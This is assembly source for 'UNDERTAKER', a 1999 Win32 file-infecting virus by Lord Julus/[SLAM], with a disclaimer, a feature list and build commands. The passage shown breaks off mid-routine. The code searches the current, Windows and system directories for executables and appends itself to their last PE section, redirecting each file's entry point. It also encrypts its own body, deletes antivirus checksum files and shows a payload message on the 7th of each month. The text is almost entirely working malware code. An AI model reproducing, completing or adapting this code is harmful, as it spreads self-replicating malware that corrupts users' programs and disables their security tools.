; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ; ³ Following you have the original article, spell checked, arranged ³ ; ³ and... with God's help, bug checked... ³ ; ³ ³ ; ³ Lord Julus - Feb. 1999 ³ ; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ comment $ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÜÜÜ ÜÜÜ ÜÜÜ ÜÜÜ ÜÜÜÜÜÜ ÜÜÜÜÜÜÜ ÜÜÜÜÜÜÜ Û Û Û Û Û ßÛÛ Û Û ÜÜ ßÛ Û ÜÜÜÜÛ Û ÜÜÜ Û Û ÛÜÛ Û Û ÛÜß Û Û ÛÜß Û Û ÜÜÜÛÜ Û Ü ÜÜÛ ÛÜÜÜÜÜÛ ÛÜÛßÛÜÛ ÛÜÜÜÜÛß ÛÜÜÜÜÜÛ ÛÜÛÜÜÜÛ ÜÜÜÜÜÜÜ ÜÜÜÜÜÜÜ ÜÜÜÜÜÜÜ ÜÜÜÜÜÜÜ ÜÜÜÜÜÜÜ ÛÜÜ ÜÜÛ Û ÜÜÜ Û Û Ûß ÜÛ Û ÜÜÜÜÛ Û ÜÜÜ Û Û Û Û ÜÜÜ Û Û Ü ßÛÜ Û ÜÜÜÛÜ Û Ü ÜÜÛ ÛÜÛ ÛÜÛ ÛÜÛ ÛÜÛÛÜÜÛ ÛÜÜÜÜÜÛ ÛÜÛÜÜÜÛ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ written by Lord Julus/[SLAM] january 1999 Beta 0.1 ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ DISCLAIMER: By reading this you agree that you are the only one responsible if this piece of code escapes in the wild. This program was written for educational purposes only and as an object of study. Therefore, the author cannot be held responsible for any kind of data loss that comes from the use of this code. ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ FEATURES: OS targets : Windows 95, Windows 98, Windows NT File targets : Portable Executables Encrypted : Yes, very encrypted. Uses 2 levels of encryption, one being the FPU.Taylor encryption algorithm written by me. Polymorphic : Not yet... ;-( Methods : þ Kernel search : - import table search - memory scan - hardcoded value þ API search : - scanning k32's export table þ File search : - current directory - windows directory - system directory þ Appending : - last section increase Payload : Graphical on 7th of the month Misc. stuff : - SEH frame - kill av files Notes : - the virus checks for support type; if it's not a Hard Disk it will only search the windows and system dirs; the first generation will only attack files in the current directory. ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ HOWTO: tasm32 -ml -m3 undrtake.asm tlink32 -Tpe -aa -c undrtake.obj,,,import32.lib pewrsec undrtake.exe ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Lord Julus (c) 1999 ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ $ .386p .model flat jumps ;ÜÜÜÜÝEquatesÞÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ true equ 1 false equ 0 debug equ false ; if true only 'goat*.exe' files are attacked infect equ true ; infect files? seh equ true ; SEH handler? killav equ true ; Kill AV files? payload equ true ; Payload Active? ;ÜÜÜÜÝExternal ProceduresÞÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ extrn ExitProcess:PROC ; these are needed to have the Kernel32 extrn GetModuleHandleA:PROC ; and User32 imported in the first extrn MessageBoxA:PROC ; generation. ;ÜÜÜÜÝData SegmentÞÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ .data ; db 0 ; dummy data ;ÜÜÜÜÝCode SegmentÞÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ .code ; code segment ; start: ; call delta_handle ; here we get the delta handle ; delta_handle: ; pop ebp ; sub ebp, offset delta_handle ; delta handle in EBP mov ecx, (offset end_crypt-offset crypt_start) shr 2 ; prepare for lea edi, [ebp+offset crypt_start] ; decryption call Decrypt ; decrypt !! ; crypt_start label ; first crypt level start FPU_encrypt label ; second crypt level start ; if seh ; Set up a SEH frame mov eax, dword ptr fs:[00h] ; get the original SEH pointer mov dword ptr [ebp+old_seh], eax ; save old pointer lea eax, [ebp+return_to_host] ; here is the new handler mov dword ptr [ebp+seh_handler], eax ; mov dword ptr fs:[00h], eax ; store it! endif ; ; jmp overdata ; and jump to actual virus ;ÜÜÜÜÝActual DataÞÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ if seh ; old_seh dd 0 ; old SEH pointer seh_handler dd 0 ; new SEH handler address endif ; ; gha db "GetModuleHandleA",0 ; we search for this first to get the k32 gha_size = $ - gha ; size of string kernel32 dd 00000000h ; address of the kernel32 module k32 db "kernel32.dll",0 ; full name of the kernel ; new_image_base label ; here we put the real image base imagebase dd 00400000h ; the default assumed image base ; entrypoint dd 0 ; original program's entrypoint importvirtual dd 0 ; import directory virtual address importsize dd 0 ; " " virtual size for checking boundaries firstthunk dd 0 ; first RVA address for a function export dd 0 ; address for export directory basef dd 0 ; base of functions limit dd 0 ; number of exported functions AddFunc dd 0 ; address of functions AddName dd 0 ; address of names AddOrd dd 0 ; address of ordinals Nindex dd 0 ; index of names maphandle dd 0 ; handle for file map mapaddress dd 0 ; address of the map filehandle dd 0 ; handle for file fileattributes dd 0 ; file attributes fileofs dd 0 ; pointer to filename ftcreation dq 0 ; time values ftlastwrite dq 0 ; ftlastaccess dq 0 ; ; oldip dd 0 ; the old IP of the victim newEIP dd 0 ; new EIP LastSection dd 0 ; last section address sectionalign dd 0 ; section alignment filealign dd 0 ; file alignment SectionNo dd 0 ; number of sections SectionTable label ; The Section table Name_ db '00000000' ; section name VirtualSize dd 0 ; --> \ VirtualAddress dd 0 ; > these get altered SizeOfRawData dd 0 ; --> / PointerToRawData dd 0 ; Reserved1 dd 0 ; Reserved2 dd 0 ; Reserved3 dd 0 ; Characteristics dd 0 ; section flags ; PEheader dd 0 ; address of the victim's PE header newfilesize dd 0 ; the new filesize for victim infectionflag dw 0 ; good/bad systemtime dw 8 dup (0) ; the time ; crtdir db 128h dup(0) ; Current directory windir db 128h dup(0) ; Windows directory sysdir db 128h dup(0) ; System directory ; if debug ; exestr db "goat*.exe",0 ; file mask to infect else ; exestr db "*.exe", 0 ; endif ; infections dd 0 ; infection number memory dd 0 ; memory to map crt_dir_flag db 0 ; can we infect the current dir? av1 db "AVP.CRC" , 0 ; the av files to kill av2 db "IVP.NTZ" , 0 ; av3 db "Anti-Vir.DAT", 0 ; av4 db "CHKList.MS" , 0 ; av5 db "CHKList.CPS" , 0 ; av6 db "SmartCHK.MS" , 0 ; av7 db "SmartCHK.CPS", 0 ; av_end db 0FFh ; av_list dd offset av1 ; dd offset av2 ; dd offset av3 ; dd offset av4 ; dd offset av5 ; dd offset av6 ; dd offset av7 ; dd offset av_end ; ; viruslen equ end-start ; virus size... Duh ! windowtitle label db "UNDERTAKER 1.0 (c) 1999 Lord Julus/[SLAM]", 0 windowmessage label db 13,10, " And the time of the Undertaker has come ", 13, 10 db 13,10, " call our funeral services at (666)-DEVIL. ", 13, 10 db 13,10, " Always open !! ", 13, 10, 0 u32 db "user32.DLL", 0 user32 dd 0 AMessageBox db "MessageBoxA", 0 AMessageBoxA dd 0 copyright db " UnderTaker v.1.0 " db " (C) Lord Julus / [SLAM] 1999 " ;ÜÜÜÜÝOther dataÞÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ max_path EQU 260 ; max length of filename ; filetime struc ; filetime structure FT_dwLowDateTime dd ? ; FT_dwHighDateTime dd ? ; filetime ends ; ; win32_find_data struc ; FileAttributes dd ? ; attributes CreationTime filetime ? ; time of creation LastAccessTime filetime ? ; last access time LastWriteTime filetime ? ; last modificationm FileSizeHigh dd ? ; filesize FileSizeLow dd ? ; -"- Reserved0 dd ? ; Reserved1_ dd ? ; FileName db max_path dup (?) ; long filename AlternateFileName db 13 dup (?) ; short filename db 3 dup (?) ; dword padding win32_find_data ends ; ; search win32_find_data ? ; our search area FILE_MAP_ALL_ACCESS Equ 01h or 02h or 04h or 08h or 10h ; access to map ;ÜÜÜÜÝAPIsÞÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ First_API: ; Here we have the names AGetProcAddress db "GetProcAddress",0 ; of the APIs this program AExitProcess db "ExitProcess",0 ; is about to use AFindFirstFileA db "FindFirstFileA",0 ; AFindNextFileA db "FindNextFileA",0 ; AGetCurrentDirectory db "GetCurrentDirectoryA",0 ; ACreateFileMapping db "CreateFileMappingA",0 ; AMapViewOfFile db "MapViewOfFile",0 ; AUnmapViewOfFile db "UnmapViewOfFile",0 ; AGetFileAttributes db "GetFileAttributesA",0 ; ASetFileAttributes db "SetFileAttributesA",0 ; AGetDriveType db "GetDriveTypeA",0 ; ACreateFile db "CreateFileA",0 ; ACloseHandle db "CloseHandle",0 ; AGetFileTime db "GetFileTime",0 ; ASetFileTime db "SetFileTime",0 ; ASetFilePointer db "SetFilePointer",0 ; AGetFileSize db "GetFileSize",0 ; ASetEndOfFile db "SetEndOfFile",0 ; AGetSystemTime db "GetSystemTime",0 ; AGetModuleHandle db "GetModuleHandleA",0 ; AGetWindowsDirectory db "GetWindowsDirectoryA",0 ; AGetSystemDirectory db "GetSystemDirectoryA",0 ; ASetCurrentDirectory db "SetCurrentDirectoryA", 0 ; ADeleteFile db "DeleteFileA", 0 ; db 0FFh ; ; API_A: ; and here are the addresses AGetProcAddressA dd 0 ; that we found AExitProcessA dd 0 ; AFindFirstFileAA dd 0 ; AFindNextFileAA dd 0 ; AGetCurrentDirectoryA dd 0 ; ACreateFileMappingA dd 0 ; AMapViewOfFileA dd 0 ; AUnmapViewOfFileA dd 0 ; AGetFileAttributesA dd 0 ; ASetFileAttributesA dd 0 ; AGetDriveTypeA dd 0 ; ACreateFileA dd 0 ; ACloseHandleA dd 0 ; AGetFileTimeA dd 0 ; ASetFileTimeA dd 0 ; ASetFilePointerA dd 0 ; AGetFileSizeA dd 0 ; ASetEndOfFileA dd 0 ; AGetSystemTimeA dd 0 ; AGetModuleHandleA dd 0 ; AGetWindowsDirectoryA dd 0 ; AGetSystemDirectoryA dd 0 ; ASetCurrentDirectoryA dd 0 ; ADeleteFileAA dd 0 ; ;ÜÜÜÜÝThe Real Start...ÞÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ overdata: mov esi, [ebp+offset imagebase] ; get image base cmp word ptr [esi], 'ZM' ; check if image is correct jne getout ; add esi, 3ch ; point to new header address mov esi, [esi] ; get it add esi, [ebp+offset imagebase] ; align to imagebase push esi ; cmp word ptr [esi], 'EP' ; is PE there ? jne getout ; add esi, 28h ; get progs' entrypoint mov eax, [esi] ; mov [ebp+entrypoint], eax ; and save it pop esi ; add esi, 80h ; get import directory address mov eax, [esi] ; mov [ebp+importvirtual], eax ; save import directory address... mov eax, [esi+4] ; mov [ebp+importsize], eax ; ...and size mov esi, [ebp+importvirtual] ; add esi, [ebp+offset imagebase] ; esi points to the import directory mov ebx, esi ; mov edx, esi ; ESI: where from to search... add edx, [ebp+importsize] ; EDX: the limit ; searchkernel: ; mov esi, [esi+0ch] ; get an entry add esi, [ebp+offset imagebase] ; align cmp [esi], 'NREK' ; is it KERNEL32 ? je foundit ; add ebx, 14h ; nope... get next entry mov esi, ebx ; cmp esi, edx ; did we go over limit ? jg notfound ; ; foundit: ; Here we found the Kernel ! mov esi, ebx ; mov ebx, [esi+10h] ; let's get the First Thunk there add ebx, [ebp+offset imagebase] ; always align to our imagebase mov [ebp+offset firstthunk], ebx ; save the first thunk mov eax, [esi] ; jz notfound ; if 0 -> bad... (import end) ; searchgha: ; mov esi, [esi] ; let's search GetModuleHandle... add esi, [ebp+offset imagebase] ; mov edx, esi ; mov ecx, [ebp+offset importsize] ; mov eax, 0 ; ; lookloop: ; cmp dword ptr [edx], 0 ; the end ? je notfound ; cmp byte ptr [edx+3], 80h ; ordinal ? je nothere ; mov esi, [edx] ; push ecx ; add esi, [ebp+offset imagebase] ; add esi, 2 ; mov edi, offset gha ; add edi, ebp ; mov ecx, gha_size ; rep cmpsb ; compare strings... pop ecx ; je foundgha ; if equal, we found it ! ; nothere: ; inc eax ; get next, otherwise... add edx, 4 ; loop lookloop ; jmp notfound ; if we are out of the loop, we ; didn't find it! foundgha: ; Got it !! shl eax, 2 ; multiply by 2 mov ebx, [ebp+offset firstthunk] ; add eax, ebx ; and add to first thunk mov eax, [eax] ; get the address there mov edx, offset k32 ; Eax = address for GetModuleHandleA add edx, ebp ; push edx ; push the Kernel32 name call eax ; and get it's address cmp eax, 0 ; is it a fail ? jne found ; ; notfound: ; If kernel32 cannot be located in mov eax, dword ptr [esp] ; the import table we need to scan ; the memory downwards. find_base_loop: ; cmp dword ptr [eax+0b4h], eax ; if we're at base, then je found ; offset 0b4h contains kernel32 dec eax ; base cmp eax, 40000000h ; here is the kernel limit (cannot jbe assume_hardcoded ; be below) jmp find_base_loop ; ; assume_hardcoded: ; mov eax, 0BFF70000h ; if fail, assume hardcoded kernel cmp word ptr [eax], 'ZM' ; really win95/98 k32? je found ; mov eax, 07FFF0000h ; try the NT hardcoded kernel value ; found: ; mov [ebp+offset kernel32], eax ; save the Kernel address ; mov edi, eax ; check if it's really the k32 there cmp word ptr [edi], 'ZM' ; magic word... jne getout ; ; mov edi, [edi+3ch] ; look for... add edi, [ebp+offset kernel32] ; cmp word ptr [edi], 'EP' ; ...Portable Exe signature jne getout ; ; pushad ; save all regs ! mov esi, [edi+78H] ; 78H = address for the export dir add esi, [ebp+offset kernel32] ; normalize mov [ebp+offset export], esi ; save it add esi, 10H ; look for base of functions lodsd ; mov [ebp+offset basef], eax ; get base of the functions lodsd ; Number of Functions lodsd ; Number of Names mov [ebp+offset limit], eax ; save the number of names add eax, [ebp+offset kernel32] ; lodsd ; Address of Functions add eax, [ebp+offset kernel32] ; mov [ebp+offset AddFunc],eax ; lodsd ; add eax, [ebp+offset kernel32] ; mov [ebp+offset AddName], eax ; Address of Names lodsd ; add eax, [ebp+offset kernel32] ; mov [ebp+offset AddOrd], eax ; Address of Ordinals mov esi,[ebp+offset AddFunc] ; lodsd ; add eax, [ebp+offset kernel32] ; ; mov esi, [ebp+offset AddName] ; get the first rva pointer to a name mov [ebp+offset Nindex], esi ; index into the name array mov edi, [esi] ; now make it a true pointer to the add edi, [ebp+offset kernel32] ; name by adding the offset mov ecx, 0 ; sets the counter to 0 mov ebx, offset First_API ; Set starting address add ebx, ebp ; ; tryagain: ; mov esi, ebx ; what function we are looking for ; matchbyte: ; cmpsb ; do we have a byte match ? jne nextone ; no! Try next name of function ; cmp byte ptr [edi], 0 ; did the entire string match ? je gotit ; YES ! jmp matchbyte ; nope... try next byte ; nextone: ; inc cx ; increment counter cmp cx, word ptr [ebp+offset limit]; check limit override jge getout ; ; add dword ptr [ebp+offset Nindex], 4; get the next pointer rva mov esi, [ebp+offset Nindex] ; and try again mov edi, [esi] ; add edi, [ebp+offset kernel32] ; jmp tryagain ; ; ; Here we assume this: ; cx = the index into the Address of Ordinals ; take Name_index * 4 + [AddOrd] = Ordinal ; Ordinal * 4 + [Address of Functions] should be the rva to the fuction gotit: ; mov ebx, esi ; get set for next search routine inc ebx ; shl ecx, 1 ; *2 looking into a word array mov esi, [ebp+offset AddOrd] ; add esi, ecx ; xor eax, eax ; mov ax, word ptr [esi] ; shl eax, 2 ; *4 looking into a dword array mov esi, [ebp+offset AddFunc] ; add esi, eax ; mov edi, dword ptr [esi] ; add edi, [ebp+offset kernel32] ; ; mov [ebp+offset AGetProcAddressA], edi ; our goal: GETPROCADDRESS ! ; popad ; restore registers ; mov esi, offset AExitProcess ; and start retrieving all the apis mov edi, offset AExitProcessA ; we need ! add esi, ebp ; add edi, ebp ; ; Repeat_find_apis: ; push esi ; find an API mov eax, [ebp+offset kernel32] ; push eax ; call dword ptr [ebp+offset AGetProcAddressA] cmp eax, 0 ; check if an API find failed je getout ; stosd ; store it's address ; repeat_inc: ; inc esi ; go to the next API name cmp byte ptr [esi], 0 ; jne repeat_inc ; inc esi ; cmp byte ptr [esi], 0FFh ; and check for the end jne Repeat_find_apis ; ; call Main_checks ; Do some checking call Infect_directories ; Infect the directories... if payload ; call Payload ; endif ; ; getout: ; return_to_host: ; if seh ; restore SEH handler mov eax, dword ptr [ebp+old_seh] ; mov dword ptr fs:[00h], eax ; endif ; ; cmp ebp, 0 ; first generation ? je exit_now ; mov eax, [ebp+offset oldip] ; restore old IP add eax, [ebp+offset imagebase] ; align to memory jmp eax ; and run host... ; exit_now: ; push 0 ; call dword ptr [ebp+offset AExitProcessA] ; ;ÜÜÜÜÝThe Main ChecksÞÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ Main_checks proc near ; push 0 ; call dword ptr [ebp+offset AGetDriveTypeA] ; Get the drive type cmp eax, 3 ; do we have a fixed disk ? jne not_crt_dir ; mov byte ptr [ebp+crt_dir_flag], 1 ; jmp go_on_1 ; ; not_crt_dir: ; mov byte ptr [ebp+crt_dir_flag], 0 ; ; go_on_1: ; ret ; Main_checks endp ; ;ÜÜÜÜÝInfection RoutinesÞÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ Infect_directories proc near push 128 ; Get Windows directory lea eax, [ebp+offset windir] ; push eax ; call dword ptr [ebp+offset AGetWindowsDirectoryA] ; push 128 ; Get System directory lea eax, [ebp+offset sysdir] ; push eax ; call dword ptr [ebp+offset AGetSystemDirectoryA] ; lea eax, [ebp+offset crtdir] ; Get Current directory push eax ; push 128 ; call dword ptr [ebp+offset AGetCurrentDirectoryA] ; cmp byte ptr [ebp+crt_dir_flag], 0 ; are we on a fixed disk? je direct_to_windows ; mov dword ptr [ebp+offset infections], 3 ; infect 3 files there call infect_current_dir ; ; direct_to_windows: ; cmp ebp, 0 ; first generation? je back_to_current_dir ; lea eax, [ebp+offset windir] ; Change to Windows directory push eax ; call dword ptr [ebp+offset ASetCurrentDirectoryA] ; mov dword ptr [ebp+offset infections], 3 ; infect 3 files there call infect_current_dir ; ; lea eax, [ebp+offset sysdir] ; Change to System directory push eax ; call dword ptr [ebp+offset ASetCurrentDirectoryA] ; mov dword ptr [ebp+offset infections], 3 ; infect 3 files there call infect_current_dir ; ; back_to_current_dir: ; lea eax, [ebp+offset crtdir] ; Change back to current directory push eax ; call dword ptr [ebp+offset ASetCurrentDirectoryA] ; ret ; Infect_directories endp ; ;ÜÜÜÜÝCurrent Directory InfectionÞÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ infect_current_dir proc near ; This infects the current dir lea edi, [ebp+offset search] ; point to Search Record mov eax, edi ; push eax ; lea eax, [ebp+offset exestr] ; push eax ; call dword ptr [ebp+offset AFindFirstFileAA] ; find first match ; cmp eax, 0FFFFFFFFh ; check for EAX = -1 je no_files ; push eax ; save handle lea esi, [edi.FileName] ; ESI = pointer to filename... mov ecx, [edi.FileSizeLow] ; ECX = filesize if infect ; call Infect_File ; infect file... endif ; jc Another_file ; dec dword ptr [ebp+offset infections] ; decrement infection count cmp word ptr [ebp+offset infections], 0 je All_done ; ; Another_file: ; push edi ; lea edi, [edi.FileName] ; We have to clean up the area mov ecx, 13d ; the new filename will appear on, mov al, 0 ; otherwise shit remains before the rep stosb ; extension... pop edi ; pop eax ; push eax ; push edi ; push find zone push eax ; push handle call dword ptr [ebp+offset AFindNextFileAA] ; test eax, eax ; no more files ? jz All_done ; lea esi, [edi.FileName] ; ESI = pointer to filename... mov ecx, [edi.FileSizeLow] ; Call Infect_File ; infect file... jc failinfection ; dec dword ptr [ebp+infections] ; decrement infection count ; failinfection: ; cmp dword ptr [ebp+infections], 0 ; done ? jne Another_file ; ; All_done: ; pop eax ; no_files: ; if killav ; call kill_av_files ; try killing the av files in the endif ; current directory ret ; infect_current_dir endp ; ;ÜÜÜÜÝPE file infection procedureÞÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ Infect_File Proc Near pushad ; save all registers mov dword ptr [ebp+newfilesize], ecx ; save the initial filesize mov word ptr [ebp+infectionflag], 0 ; reset infection flag add ecx, viruslen ; ecx = victim filesize + virus add ecx, 1000h ; + 1000h mov [ebp+offset memory], ecx ; this will give us the memory ; to map... mov [ebp+offset fileofs], esi ; esi = pointer to filename ; Save file's original attributes and set new ones push esi ; save it call dword ptr [ebp+AGetFileAttributesA]; Get the file attributes cmp eax, 0 ; je error1 ; mov [ebp+fileattributes], eax ; save them ; error1: ; push 80h ; push esi ; call dword ptr [ebp+offset ASetFileAttributesA] ; set them as normal ; ; About to Open the File (ESI = pointer to filename) push 0 ; file attributes push 0 ; "" push 3 ; OPEN EXISTING File push 0 ; Security option = default push 1 ; File share for read push 80000000h or 40000000h ; General write and read push esi ; pointer to filename call dword ptr [ebp+offset ACreateFileA]; ; mov [ebp+offset filehandle], eax ; EAX = file handle cmp eax, -1 ; je infection_error ; can't open file ?!? ; Save file's creation, last write, last access time mov ebx, offset ftcreation ; save all 3 types of time add ebx, ebp ; push ebx ; add ebx, 8 ; push ebx ; add ebx, 8 ; push ebx ; push eax ; call dword ptr [ebp+AGetFileTimeA] ; ; push 0 ; save the filesize for later push dword ptr [ebp+offset filehandle] ; call dword ptr [ebp+AGetFileSizeA] ; mov dword ptr [ebp+offset newfilesize], eax ; About to create the file mapping for the file push 0 ; filename handle = NULL push dword ptr [ebp+offset memory] ; max size push 0 ; min size (no need) push 4 ; Page read & write push 0 ; security attributes push dword ptr [ebp+offset filehandle] ; call dword ptr [ebp+offset ACreateFileMappingA] ; Map file ! ; Eax = new handle mov [ebp+offset maphandle], eax ; cmp eax, 0 ; je close_file ; can't map file ?!? ; ; About to map the view of the file ; ; push dword ptr [ebp+offset memory] ; bytes to map push 0 ; blah, blah, blah... push 0 ; ;-) push 2 ; File Map Write Mode push eax ; File Map Handle call dword ptr [ebp+offset AMapViewOfFileA] ; Call API ; cmp eax, 0 ; je close_map ; can't map view of file ?!? mov esi, eax ; ESI = base of map... mov [ebp+offset mapaddress], esi ; ; ; Now the file is ready to work on at ESI ! ; ; cmp word ptr [esi], 'ZM' ; Exe file ? jne Unmap_view ; cmp word ptr [esi+38h], 'UT' ; Already infected ? jne ok_go ; mov word ptr [ebp+offset infectionflag], 0FFh ; mark it... jmp Unmap_view ; ; ok_go: ; mov ebx, dword ptr [esi+3ch] ; cmp word ptr [esi+ebx], 'EP' ; Portable Exe ? jne Unmap_view ; add esi, ebx ; ESI points to PE header ; mov [ebp+offset PEheader], esi ; mov eax, [esi+28h] ; save IP of file mov [ebp+offset oldip], eax ; mov eax, [esi+38h] ; save file alignement mov [ebp+offset sectionalign], eax ; mov eax, [esi+3ch] ; save file alignement mov [ebp+offset filealign], eax ; ; mov ebx, [esi+74h] ; No. of directories entries mov [ebp+offset SectionNo], ebx ; shl ebx, 3 ; * 8 (size) xor eax, eax ; mov ax, word ptr [esi+6h] ; no. of sections dec eax ; we look for the last's ending mov ecx, 28h ; size of sections' header mul ecx ; EAX = ECX * EBX add esi, 78h ; add esi, ebx ; add esi, eax ; ESI = Pointer to the last mov dword ptr [ebp+LastSection], esi ; ; lea edi, [ebp+offset SectionTable] ; where to copy cld ; rep movsb ; Copy Section ; call random32 ; mov byte ptr [ebp+offset FPU_key], al ; ; mov edi, [ebp+offset PointerToRawData] ; We are about to copy our add edi, [ebp+offset VirtualSize] ; virus to the end of the last mov dword ptr [ebp+newEIP], edi ; section add edi, [ebp+mapaddress] ; lea esi, [ebp+offset start] ; push edi ; mov ecx, viruslen ; rep movsb ; ; pop edi ; ; pusha ; crypt virus using FPU algo mov ebx, edi ; add ebx, (offset FPU_encrypt - offset start) call FPU_Crypt ; popa ; ; push edi ; add edi, (offset crypt_start - offset start) ; crypt virus w/ mov ecx, (offset end_crypt-offset crypt_start) shr 2 ; normal algo call Crypt ; mov eax, dword ptr [ebp+offset key] ; pop edi ; add edi, (offset key - offset start) ; mov dword ptr [edi], eax ; ; mov esi, dword ptr [ebp+LastSection] ; point the original section mov eax, [esi+16] ; Get OldSizeOfRawData add eax, viruslen ; increase SizeOfRawData mov ecx, dword ptr [ebp+filealign] ; and align it to the file push eax ; alignment push ecx ; xor edx, edx ; div ecx ; pop ecx ; sub ecx, edx ; pop eax ; add eax, ecx ; mov dword ptr [ebp+SizeOfRawData], eax ; and store it mov eax, dword ptr [ebp+VirtualSize] ; and now increase VirtualSize add eax, viruslen ; with the virus length mov dword ptr [ebp+VirtualSize], eax ; ; or dword ptr [ebp+Characteristics],00000020h ; Set flags: code, or dword ptr [ebp+Characteristics],20000000h ; executable, or dword ptr [ebp+Characteristics],80000000h ; writable ; xchg edi, esi ; Write the new section lea esi, [ebp+SectionTable] ; to the file mov ecx, 40 ; rep movsb ; ; mov esi, dword ptr [ebp+PEheader] ; mov eax, dword ptr [esi+50h] ; Get OldSizeOfImage add eax, viruslen ; increase it and then mov ecx, dword ptr [ebp+sectionalign] ; align it to the section push eax ; alignement push ecx ; xor edx, edx ; div ecx ; pop ecx ; sub ecx, edx ; pop eax ; add eax, ecx ; mov dword ptr [esi+50h], eax ; ; mov eax, dword ptr [ebp+VirtualAddress]; And find out the new entry add eax, dword ptr [ebp+VirtualSize] ; point sub eax, viruslen ; mov dword ptr [esi+28h], eax ; ; mov eax, [esi+034h] ; align the new imagebase mov dword ptr [ebp+offset new_image_base], eax; ; mov esi, [ebp+offset mapaddress] ; mark file as infected mov word ptr [esi+38h], 'UT' ; ; mov eax, dword ptr [ebp+newfilesize] ; calculate new file size add eax, viruslen ; by adding the virus length mov ecx, dword ptr [ebp+filealign] ; and rounding it up to the push eax ; file alignement push ecx ; xor edx, edx ; div ecx ; pop ecx ; sub ecx, edx ; pop eax ; add eax, ecx ; mov dword ptr [ebp+newfilesize], eax ; ; ; Let's release it all now... ; ; Unmap_view: ; first unmap the view push dword ptr [ebp+offset mapaddress] ; call dword ptr [ebp+AUnmapViewOfFileA] ; ; close_map: ; push dword ptr [ebp+offset maphandle] ; then close the map handle call dword ptr 